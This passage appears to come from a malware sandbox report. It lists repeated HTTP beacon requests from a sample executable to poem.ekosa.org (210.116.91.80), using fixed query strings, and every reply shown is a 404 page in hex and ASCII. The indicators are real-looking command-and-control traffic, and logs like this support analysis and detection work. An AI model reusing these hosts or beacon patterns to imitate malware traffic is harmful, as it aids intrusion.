Jan 11, 2021 17:56:14.417013884 CET	5126	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:14 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.4	49911	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:14.682600975 CET	5126	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:14.942652941 CET	5127	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:14 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.4	49912	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:15.220673084 CET	5128	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:15.488924026 CET	5128	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:15 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.4	49913	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:15.876518011 CET	5129	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:16.138307095 CET	5129	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:15 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.4	49914	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:16.410012960 CET	5130	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:16.672492027 CET	5131	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:16 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.4	49915	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:16.940262079 CET	5131	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:17.200546980 CET	5132	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:16 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.4	49916	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:17.585695028 CET	5133	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:17.849153996 CET	5133	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:17 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.4	49917	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:18.126372099 CET	5134	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:18.398231030 CET	5134	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:17 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49777	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:04.690062046 CET	276	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:04.969022989 CET	280	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:04 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.4	49918	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:18.669869900 CET	5135	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:18.933769941 CET	5136	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:18 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.4	49919	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:19.314114094 CET	5136	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:19.576531887 CET	5137	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:18 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.4	49920	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
